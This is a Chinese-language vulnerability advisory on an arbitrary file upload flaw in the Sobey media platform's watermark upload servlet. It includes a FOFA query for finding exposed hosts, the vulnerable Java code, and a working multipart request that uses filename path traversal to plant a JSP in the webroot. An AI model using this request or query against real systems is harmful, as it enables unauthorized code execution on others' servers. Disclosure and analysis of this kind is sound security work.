漏洞简介
索贝融媒体是一套面向媒体机构的综合内容生产与管理平台,广泛应用于电视台、融媒体中心等场景,提供稿件采编、媒资处理、节目编排及多终端发布等功能。该系统的 /sobey-mchEditor/watermark/upload 接口在文件上传功能中缺乏有效的类型与安全校验,攻击者可通过构造特制的上传请求,将任意可执行脚本或恶意文件写入服务器指定目录。成功利用该漏洞后,攻击者可能直接在服务器上执行任意代码,从而获取系统权限、控制业务逻辑、窃取敏感数据,甚至进一步对内网环境发起攻击,对业务安全构成严重威胁。
影响版本
fofa语法
app="SOBEY-融媒体"
漏洞分析
直接看漏洞url对应的WebServlet实现逻辑
@WebServlet({"/watermark/upload"})
public class WatermarkUploader extends HttpServlet {
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
resp.setContentType("application/json;charset=utf-8");
FileItemFactory factory = new DiskFileItemFactory();
try {
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setFileSizeMax(20480000L);
for(FileItem fileItem : upload.parseRequest(req)) {
if (!fileItem.isFormField()) {
String name = fileItem.getName();
if (name.contains("\\")) {
name = name.substring(name.lastIndexOf("\\") + 1);
}
long size = fileItem.getSize();
if (size != 0L) {
String path = Constant.UPLOAD_PATH + SimpleDateFormatFactory.format(new Date(), "yyyy/MM/dd");
String filePath = SystemConfigUtil.getDiskpath() + path;
File file = new File(filePath);
if (!file.exists()) {
file.mkdirs();
}
fileItem.write(new File(filePath + "/" + name));
ZCNWatermarkSchema watermark = new ZCNWatermarkSchema();
watermark.setID(NoUtil.getMaxID("WatermarkID"));
watermark.setSiteID(1L);
watermark.setTitle(name);
watermark.setType("watermark");
watermark.setUrl(SystemConfigUtil.getNgixPath() + path + "/" + name);
watermark.setAddTime(new Date());
watermark.insert();
}
}
}
resp.getWriter().write("{\"status\":200}");
} catch (Exception e) {
e.printStackTrace();
resp.getWriter().write("{\"status\":500}");
}
}
}
一个基于Servlet的文件上传功能,专门用于上传水印图片。它利用Apache Commons FileUpload库解析HTTP多部分请求,将上传的图片保存到服务器的指定目录下(按日期组织),同时将水印的相关信息(如ID、名称、URL、添加时间)保存到数据库中。整个过程包含了错误处理,成功则返回 {"status":200},失败则返回 {"status":500}。代码中还包含了对文件名中的路径处理、文件大小限制以及目录自动创建的逻辑。但是没有对上传文件类型和内容进行检测,导致可以上传任意文件内容。
漏洞复现
POST /sobey-mchEditor/watermark/upload HTTP/1.1
Host: sobey.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../usr/local/tomcat/webapps/sobey-mchEditor/1.jsp"
Content-Type: image/jpeg
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--
访问上传文件 /sobey-mchEditor/1.jsp

成执行上传代码,打印UUID并删除自身


